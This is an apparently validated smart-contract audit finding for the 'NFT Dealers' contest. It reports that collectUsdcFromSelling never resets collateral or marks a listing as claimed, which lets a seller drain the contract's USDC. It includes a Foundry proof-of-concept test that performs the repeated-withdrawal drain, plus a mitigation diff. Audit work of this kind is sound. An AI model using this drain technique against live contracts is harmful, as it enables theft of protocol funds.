NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Multiple Withdrawals of Collateral and Sales Proceeds

etherengineer

Root + Impact

Description

The collectUsdcFromSelling function is intended to allow a seller to claim their USDC after a successful sale. However, the function does not update the state of the collateral or the listing price once the funds are transferred.

  • Normal Behavior: After a sale, the seller should be able to call a function once to claim the sale price (minus fees) plus their initial minting collateral.

  • Specific Issue: The function checks if a listing isActive is false, but it never marks the listing as "claimed" or "settled." Furthermore, it does not zero out the collateralForMinting for that tokenId. Consequently, a seller can call this function repeatedly in a loop to drain the contract's USDC holdings.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
// @> Issue: collateralForMinting[listing.tokenId] is never set to 0
// @> Issue: The listing is never marked as "claimed"
usdc.safeTransfer(msg.sender, amountToSeller);
}

Risk

Likelihood: High

  • Any user who successfully sells an NFT or has a listing canceled (which sets isActive to false) can trigger this.

  • No special conditions are required other than owning a listing that is no longer active.

Impact: High

  • Total loss of protocol funds (USDC).

  • The contract can be completely drained by a single malicious seller.

Proof of Concept

Paste this test function in NFTDealersTest.t.sol

function test_InfiniteDrainPoC() public revealed {
address buyer = makeAddr("buyer");
deal(address(usdc), buyer, 100e6);
deal(address(usdc), address(nftDealers), 100e6);
​
uint256 tokenId = 1;
uint32 listPrice = 20e6;
// 1. Seller mints and lists an NFT
mintAndListNFTForTesting(1, listPrice);
​
// 2. Buyer buys the NFT
vm.startPrank(buyer);
usdc.approve(address(nftDealers), listPrice);
nftDealers.buy(tokenId); // Listing 1 is now inactive
vm.stopPrank();
​
// 3. Seller exploits the bug by calling collection in a loop
uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));
vm.startPrank(userWithCash);
// We call it 3 times just to prove it works; in reality, this would be a loop
nftDealers.collectUsdcFromSelling(tokenId);
​
uint256 userWithCashBalanceBefore = usdc.balanceOf(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
nftDealers.collectUsdcFromSelling(tokenId);
vm.stopPrank();
​
uint256 userWithCashBalanceAfter = usdc.balanceOf(userWithCash);
​
assertGt(userWithCashBalanceAfter, userWithCashBalanceBefore, "Seller drained more than the initial sale proceeds!");
}

Recommended Mitigation

Introduce a claimed status to the Listing struct or delete the listing entirely after withdrawal. Also, ensure the collateral mapping is zeroed out.

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool isClaimed;
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing storage listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive");
+ require(!listing.isClaimed, "Already claimed");
​
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ collateralForMinting[listing.tokenId] = 0;
+ listing.isClaimed = true;
​
// ... rest of logic
}
Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

drain-protocol-risk

collateral is not reset to zero after collecting USDC from sold NFT. No accounting for collected USDC

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!